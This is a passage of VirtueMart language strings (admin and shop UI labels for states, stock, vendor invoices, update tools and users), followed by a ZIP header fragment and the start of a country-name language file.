COM_VIRTUEMART_SQL_ERROR="SQL Error" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Standard VirtueMart Categories Layout" COM_VIRTUEMART_START_DATE="Start Date" COM_VIRTUEMART_START_SYNCRONIZING="Start Synchronizing!" COM_VIRTUEMART_STATE="State" COM_VIRTUEMART_STATES_COUNTRY="States of country %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="View states list of
       %1$s" COM_VIRTUEMART_STATE_2_CODE="State (2) Code" COM_VIRTUEMART_STATE_3_CODE="State (3) Code" COM_VIRTUEMART_STATE_COUNTRY="State for country %1$s" COM_VIRTUEMART_STATE_DETAILS="State details" COM_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_STATE_LIST_LBL="State List for" COM_VIRTUEMART_STATE_NAME="State Name" COM_VIRTUEMART_STATE_S="States" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="active Products" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Shoppers" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="inactive Products" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="New Shoppers" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="New Orders" COM_VIRTUEMART_STATISTIC_STATISTICS="Statistics" COM_VIRTUEMART_STATISTIC_SUM="Sum" COM_VIRTUEMART_STATISTIC_SUMMARY="Control Panel" COM_VIRTUEMART_STATUS="Status" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="We are getting low on stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="We have plenty of Stock for this product" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Sorry, we currently have no stock for this item" COM_VIRTUEMART_STOCK_LEVEL_LOW="Product stock low" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Product stock sufficient" COM_VIRTUEMART_STOCK_LEVEL_OUT="Product not in stock!" COM_VIRTUEMART_STORE="Shop" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Currency" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="List of accepted currencies" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Shop Company Name" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LBL="Shop Information" COM_VIRTUEMART_STORE_FORM_LEGAL="Legal Information" COM_VIRTUEMART_STORE_FORM_MPOV="Minimum purchase order value for your shop" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Terms of Service" COM_VIRTUEMART_STORE_INFORMATION="Shop Information" COM_VIRTUEMART_STORE_MOD="Shop" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s record cancelled." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s could not be deleted." COM_VIRTUEMART_STRING_DELETED="%s successfully deleted." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: The %s could not be deleted." COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Error: %s must have a name." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="The given %s is empty. This field is obligatory, please enter your data and store again." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s in record is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="%1$s primary key is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s function Forbidden for non vendors" COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%s function reserved for administrator Only" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s successfully moved down" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s successfully moved up" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: The %s could not be published." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s successfully published." COM_VIRTUEMART_STRING_SAVED="%s successfully saved" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s could not be saved" COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s successfully saved" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: The %s state could not be updated." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s state successfully updated." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: The %s could not be unpublished." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s successfully unpublished." COM_VIRTUEMART_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Action not performed. Please check %1$s first and come back here." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="To use these tools fully, you must check '%1$s' in the Configuration panel." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="The configuration setting '%1$s' is enabled. Please disable this for security measures here in the Configuration panel." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="System defaults restored!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="VirtueMart data removed" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="VirtueMart tables removed" COM_VIRTUEMART_TAX_EFFECTING="Tax Affecting: " COM_VIRTUEMART_TEMPLATE_DEFAULT="Default template" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Textarea attributes" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Textfield attributes" COM_VIRTUEMART_THANK_MESSAGE="Thank you for your Enquiry. We will contact you as soon as possible." COM_VIRTUEMART_THRD_PARTY_CONTACT="contact the developer %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="manual for %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Thumbnail not found" COM_VIRTUEMART_TIME="Time" COM_VIRTUEMART_TITLE="Title" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Title in fieldvalues contains invalid characters" COM_VIRTUEMART_TOGGLE_ADMIN="Toggle Admin" COM_VIRTUEMART_TOGGLE_HIDDEN="Toggle Hidden" COM_VIRTUEMART_TOOLS_MOD="Tools" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Renew VirtueMart configuration by file" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="Delete config stored in database, load defaults from file and set in session?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

      The configuration settings are reset with the values from the file /administrator/components/com_virtuemart/virtuemart.cfg

      " COM_VIRTUEMART_TOOLS_RESTHUMB="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_CONF="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_TIP="Usually you need this only when you changed the automatically resized thumbnail size, or for shops installed originally with a version lower than 2.0.22. This command deletes all resized folders and create them new. During the process the automatically thumbnail creation is deactivated. Also all entries of the thumbnail urls are deleted. The reason is that we do not store anylonger the default." COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Sync Joomla
      Users" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Uploads your media to the paths:
      Media product url: %s
      Media category url: %s
      Media manufacturer url: %s

      You can change these urls in the config settings.

      " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_TOTAL="Total" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="To set the parent category" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="To set the parent category view" COM_VIRTUEMART_TO_SET_PRODUCT="To set the product" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_TRANSLATIONS="Translations" COM_VIRTUEMART_TYPE="Type" COM_VIRTUEMART_TYPES="Types" COM_VIRTUEMART_UNCATEGORIZED="--Uncategorised--" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
      To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrams" COM_VIRTUEMART_UNIT_NAME_100ML="100 milliliters" COM_VIRTUEMART_UNIT_NAME_CM="Centimetres" COM_VIRTUEMART_UNIT_NAME_CUBM="Cubic meters" COM_VIRTUEMART_UNIT_NAME_FOOT="Foot" COM_VIRTUEMART_UNIT_NAME_G="Gramme" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramme" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pounds" COM_VIRTUEMART_UNIT_NAME_M="Metres" COM_VIRTUEMART_UNIT_NAME_MG="Milligramme" COM_VIRTUEMART_UNIT_NAME_MM="Millimetres" COM_VIRTUEMART_UNIT_NAME_ONCE="Ounce" COM_VIRTUEMART_UNIT_NAME_SM="Square meters" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100G="100 g" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISH="Unpublish" COM_VIRTUEMART_UNPUBLISHED="Unpublished" COM_VIRTUEMART_UNPUBLISH_ITEM="Unpublish Item" COM_VIRTUEMART_UNWRITABLE="Unwriteable" COM_VIRTUEMART_UPDATE="Update" COM_VIRTUEMART_UPDATEDATABASE="Install or if necessary update tables" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="Install/update tables?" COM_VIRTUEMART_UPDATE_ALL="everything" COM_VIRTUEMART_UPDATE_ATTR="Product Attributes (use after you migrated the products)" COM_VIRTUEMART_UPDATE_ATTR_2="The product attributes are the ones from the field Attribute list in the Product Status tab.
      Note:
      When the price are with a + or - sign, they are migrated.
      When the price starts with =, it is set to 0 in the product custom field. A message will be displayed indicating which attribute price was set to 0." COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Check now!" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Download Update" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="Latest VirtueMart Version" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="VirtueMart Version installed here" COM_VIRTUEMART_UPDATE_GENERAL="general (media, categories, manufacturers, etc, ...)" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="This will install the sample VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_MIGRATION="Updating & Data migration" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Server settings of max execution time" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Memory limit of the server" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Choose a task for migration" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="Start to migrate %s?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Data migration from VirtueMart 1.1.x to VirtueMart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

      Warning

      Please use those tools only if you understand what you are doing. The tool install or if necessary updat tables is usually safe to use. It does the same as the update procedure. The other commands can break your shop or remove all user data completly. This tools are done for developers.
      Except the delete all data is also meant for people who want completly uninstall the shop and delete all database data. Please use with caution. When using in a broken live shop make an export of your database first. Disable your joomla debug, it can create trouble for nothing, use the vmdebug option instead." COM_VIRTUEMART_UPDATE_NONEWVERSION="You are running the latest VirtueMart version" COM_VIRTUEMART_UPDATE_ORDERS="orders only" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Apply Patch now" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="I have read the Warning and I'm sure to apply the Patch Package to my VirtueMart Installation now." COM_VIRTUEMART_UPDATE_PATCH_DATE="Release Date" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Description" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Patch Details" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="Not all files/directories which need to be updated are writable. Please correct the permissions first." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Files to be updated" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="Please mark the checkbox before you apply the Patch." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Queries to be executed on the Database" COM_VIRTUEMART_UPDATE_PATCH_STATUS="Status" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="File/Directory not writable" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Writable" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="Synchronized %1$s media for %2$s in directory %3$s " COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="Synchronized alltogether %1$s files" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="The synchronisation is not finished, please execute again" COM_VIRTUEMART_UPDATE_PRODUCTS="products only" COM_VIRTUEMART_UPDATE_REL="Migrate related products into vm2 (beta, try after you migrated the products)" COM_VIRTUEMART_UPDATE_REMOVEDATA="Remove
      VirtueMart Data" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="This will remove all VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Remove
      VirtueMart Tables" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="This will remove all VirtueMart tables leaving VirtueMart unusable. Are you sure?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS=" Restore
      System Defaults" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="This will restore your settings to the defaults. Are you sure?" COM_VIRTUEMART_UPDATE_STATUS="Update Order Status" COM_VIRTUEMART_UPDATE_TOOLS_TAB="DB Tools" COM_VIRTUEMART_UPDATE_USERS="users only" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Update VM plugin tables" COM_VIRTUEMART_UPDATE_WARNING_TEXT="Installing an Update for VirtueMart using a Patch Package can cause damage on your site if you have already modified some files of the VirtueMart component. The Patching Process will overwrite all the files listed below - it won't just apply smaller changes (diff), but replace the existing file with the new one. If you have modified VirtueMart files on your own, this can lead to inconsistent files and missing class/function dependencies." COM_VIRTUEMART_UPDATE_WARNING_TITLE="General Warning" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="The Update was SUCCESSFUL" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="File with same name already exist" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Hello %s, Thank you for registering at %s. You may now login to %s using the username and password you registered with." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Hello %s, Thank you for registering at %s. Your account is created and must be activated before you can use it. To activate the account click on the following link or copy-paste it in your browser" COM_VIRTUEMART_USER="Shopper " COM_VIRTUEMART_USERFIELD="Shopper Field" COM_VIRTUEMART_USERFIELDS="Userfield" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Add a Value" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Use the table below to add new values." COM_VIRTUEMART_USERFIELDS_COLUMNS="Columns" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Description, field-tip" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hypertext and URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Max Length" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Extra plugin parameters" COM_VIRTUEMART_USERFIELDS_READONLY="Read-Only" COM_VIRTUEMART_USERFIELDS_ROWS="Rows" COM_VIRTUEMART_USERFIELDS_SIZE="Field Size" COM_VIRTUEMART_USERFIELDS_URL_ONLY="URL only" COM_VIRTUEMART_USERFIELD_DETAILS="Shopper Field Details" COM_VIRTUEMART_USERFIELD_S="Shopper Fields" COM_VIRTUEMART_USERGROUPS_ADD="Add / Edit a User Group" COM_VIRTUEMART_USERGROUPS_LEVEL="User Group Level" COM_VIRTUEMART_USERGROUPS_LIST=" User Group List" COM_VIRTUEMART_USERGROUPS_LIST_NAME="User Group Name" COM_VIRTUEMART_USERGROUP_DETAILS="Usergroup Details" COM_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_USERNAME="Username" COM_VIRTUEMART_USERS="Users" COM_VIRTUEMART_USERS_SYNCRONIZED="Users Synchronized!" COM_VIRTUEMART_USER_DATA_STORED="User data stored" COM_VIRTUEMART_USER_DELETE_ST="Delete address" COM_VIRTUEMART_USER_DISPLAYED_NAME="Displayed Name" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Displays the User Edit Address" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="User Edit Address" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="You cannot delete this user as it is the only active Super Administrator for your site." COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="You cannot change this users group as the user is the only active Super Administrator for your site." COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Add Address" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Bill To Information" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Change Contact Details" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="Please fill out the required fields!" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Please fill out the required fields, you may take a look on the tab %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="New Password" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receive System Emails" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Register Date" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Shipment Addresses" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verify Password" COM_VIRTUEMART_USER_ISNOTVENDOR="Not a vendor" COM_VIRTUEMART_USER_ISVENDOR="Is a vendor" COM_VIRTUEMART_USER_IS_VENDOR="Vendor?" COM_VIRTUEMART_USER_LIST_LBL="Shopper List" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No Shipment Addresses." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="User registration is disabled, it must be enabled in order to proceed." COM_VIRTUEMART_USER_S="Shoppers" COM_VIRTUEMART_USER_SAVED="Shopper saved" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="User %s has an incomplete profile" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Shopper Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" COM_VIRTUEMART_VALUE="Value" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Values are required for this type." COM_VIRTUEMART_VENDOR="Vendor" COM_VIRTUEMART_VENDORLETTER="Invoices" COM_VIRTUEMART_VENDORLETTER_DESC="Here you can configure the look of invoices, delivery notes etc. You can take a look at a preview page (after saving the changes) HERE." COM_VIRTUEMART_VENDOR_DATA_STORED="Vendor data stored" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Select a vendor" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Vendor Information" COM_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VENDOR_IMAGE="Vendor image" COM_VIRTUEMART_VENDOR_LETTER_A4="A4" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS="Append Terms of Service" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK="Pagebreak before Terms" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK_TIP="If the TOS are appended to the invoices, insert a page break before the TOS." COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_TIP="If checked, the Terms of Service will be appended (optionally after a line break) to all invoices, e.g. to fulfill a legal requirement." COM_VIRTUEMART_VENDOR_LETTER_CSS="CSS Styles for the Document" COM_VIRTUEMART_VENDOR_LETTER_FONT="Default Font" COM_VIRTUEMART_VENDOR_LETTER_FONTS="Appearance" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE="Contents Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_FOOTER="Footer Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_HEADER="Header Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_TIP="PDF invoices will be produced with the selected font as default font. Selecting a UTF-8 Unicode Font will increase the size of the invoices and the size of the pdf produced in product details view PDF, but it will also support Greek, Cyrillic, etc." COM_VIRTUEMART_VENDOR_LETTER_FOOT="Letter Foot" COM_VIRTUEMART_VENDOR_LETTER_FOOTER="Display footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_CELL_RATIO="Footer cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_COLOR="Background color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE="Line above footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_REPEAT="Repeat on subsequent pages" COM_VIRTUEMART_VENDOR_LETTER_FORMAT="Page Format" COM_VIRTUEMART_VENDOR_LETTER_HEAD="Letter Head" COM_VIRTUEMART_VENDOR_LETTER_HEADER="Display header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_CELL_RATIO="Header cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGE="Include Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGESIZE="Size of Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE="Line below header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_LETTER="Letter" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_BOTTOM="Contents Bottom Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_FOOTER="Footer Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_HEADER="Header Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_LEFT="Left Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_RIGHT="Right Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_TOP="Contents Top Margin" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION="Orientation" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE="Landscape" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT="Portrait" COM_VIRTUEMART_VENDOR_LETTER_PAGE="Page Geometry" COM_VIRTUEMART_VENDOR_LETTER_REPLACEMENTS_DESC="In the letter headers and footers, you can use the following placeholders to display non-fixed text: {vm:pagenum}, {vm:pagecount}, {vm:vendorname}, {vm:vendorimage}, {vm:vendoraddress}, {vm:vendorlegalinfo}, {vm:vendordescription}, {vm:tos}." COM_VIRTUEMART_VENDOR_NAME="Vendor name" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="View vendor TOS" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="View vendor TOS" COM_VIRTUEMART_VERSIONCHECK_TITLE="VirtueMart Version Check" COM_VIRTUEMART_VIEW="View" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="Order id" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_VIRTUEMART_USER_ID="user id" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Visible for Shopper" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Visible for vendor" COM_VIRTUEMART_VOTE_JED="Vote and Rate at JED" COM_VIRTUEMART_VOTE_JED_DESC="If you use VirtueMart, please post a rating and a review at the Joomla! Extensions Directory." COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="You must enter a product id." COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="Please select a waiting list id to delete." COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="You are already being notified of this product." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="You must enter an email address to be on the waiting list." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="Please provide a valid email address." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="You must enter a product to be on the waiting list." COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Warning, the %1$s is empty, for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE="The path for invoices seems to miss the correct file permissions %1$s" COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE="The %1$s is not writeable. Please ensure that you have the correct file permissions and directory settings" COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Sorry, was not able to create directory for invoices in the %1$s, please create there manually the folder 'invoices'" COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Warning, the %1$s is not accessible (does not exist or no permission), for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WEEK="Week" COM_VIRTUEMART_WEEKS="Weeks" COM_VIRTUEMART_WEEK_S="Weeks" COM_VIRTUEMART_WORLDZONE="Zone" COM_VIRTUEMART_WRITABLE="Writeable" COM_VIRTUEMART_X_CHILD_PRODUCT="%s Children" COM_VIRTUEMART_YEAR="Year" COM_VIRTUEMART_YEAR_S="Years" COM_VIRTUEMART_YES="Yes" COM_VIRTUEMART_YOUR_VERSION="Your Version" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Current Zone" ; already added for vm2.1 COM_VIRTUEMART_CUSTOM_IS_CART_INPUT="Cart Input" COM_VIRTUEMART_CUSTOM_OVERRIDE="Override for %s" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_CART="Show in cart form" ;ACL settings COM_VIRTUEMART_CALC_EDIT="Edit Taxes and Calculation Rules" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_EDIT="Edit Custom Fields" COM_VIRTUEMART_SHOPPERGROUP_EDIT="Edit Shopper Groups" COM_VIRTUEMART_USERS_EDIT="Edit users"PKtl>\RXDb)b)Ucom_virtuemart_update/administrator/language/en-GB/en-GB.com_virtuemart_countries.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="Id" COM_VIRTUEMART_COUNTRY_ALA="Åland Islands" COM_VIRTUEMART_COUNTRY_AFG="Afghanistan" COM_VIRTUEMART_COUNTRY_ALB="Albania" COM_VIRTUEMART_COUNTRY_DZA="Algeria" COM_VIRTUEMART_COUNTRY_ASM="American Samoa" COM_VIRTUEMART_COUNTRY_AND="Andorra" COM_VIRTUEMART_COUNTRY_AGO="Angola" COM_VIRTUEMART_COUNTRY_AIA="Anguilla" COM_VIRTUEMART_COUNTRY_ATA="Antarctica" COM_VIRTUEMART_COUNTRY_ATG="Antigua and Barbuda" COM_VIRTUEMART_COUNTRY_ARG="Argentina" COM_VIRTUEMART_COUNTRY_ARM="Armenia" COM_VIRTUEMART_COUNTRY_ABW="Aruba" COM_VIRTUEMART_COUNTRY_ASC="Ascension" COM_VIRTUEMART_COUNTRY_AUS="Australia" COM_VIRTUEMART_COUNTRY_AUT="Austria" 